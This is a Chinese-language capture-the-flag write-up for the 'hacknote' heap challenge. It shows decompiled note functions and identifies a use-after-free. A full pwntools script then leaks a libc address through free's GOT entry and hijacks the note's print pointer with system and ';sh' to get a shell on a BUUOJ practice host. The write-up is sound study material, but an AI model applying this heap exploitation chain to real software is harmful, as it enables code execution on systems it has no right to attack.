pwnable_hacknote
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)
32位,没开PIE
main部分就不贴了,直接贴主要的函数
unsigned int ADD()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( BSSNUM <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = sub_804862B;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++BSSNUM;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
add这里,程序申请了一个chunk,用来存放puts函数,和content的地址,
然后给用户申请一个chunk,size不限制
unsigned int DELE()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= BSSNUM )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
free这里是uaf
unsigned int SHOW()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= BSSNUM )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
return __readgsdword(0x14u) ^ v3;
}
show这里,是通过程序申请的chunk里面的puts函数,然后取下一位content的地址去打印content的
思路
既然用程序的puts调用地址打印,我们可以构造一个可操作的chunk去使这个函数,泄露我们需要的
比如说libc
后面就是计算libc,getshell
from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",26820,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
libc=ELF('libc-2.23_32.so')
add(0x80,b'a')
add(0x80,b'a')
add(0x30,b'a')
dele(0)
dele(1)
add(0x8,flat(0x804862B,elf.got['free']))
show(0)
leak=u32(r.recvuntil(b'\xf7')[-4:])
base=leak-libc.sym['free']
sys=system(base)
sh=shell(base)
li(leak)
dele(3)
add(0x8,flat(sys,';sh\x00'))
show(0)
ia()
本来我打算用libc的shell去打的,奈何打不通,参考了一下其他师傅,发现用system函数地址去覆盖puts函数的地址,参数会是system函数本身,用;
执行下一条命令才能执行到system(sh)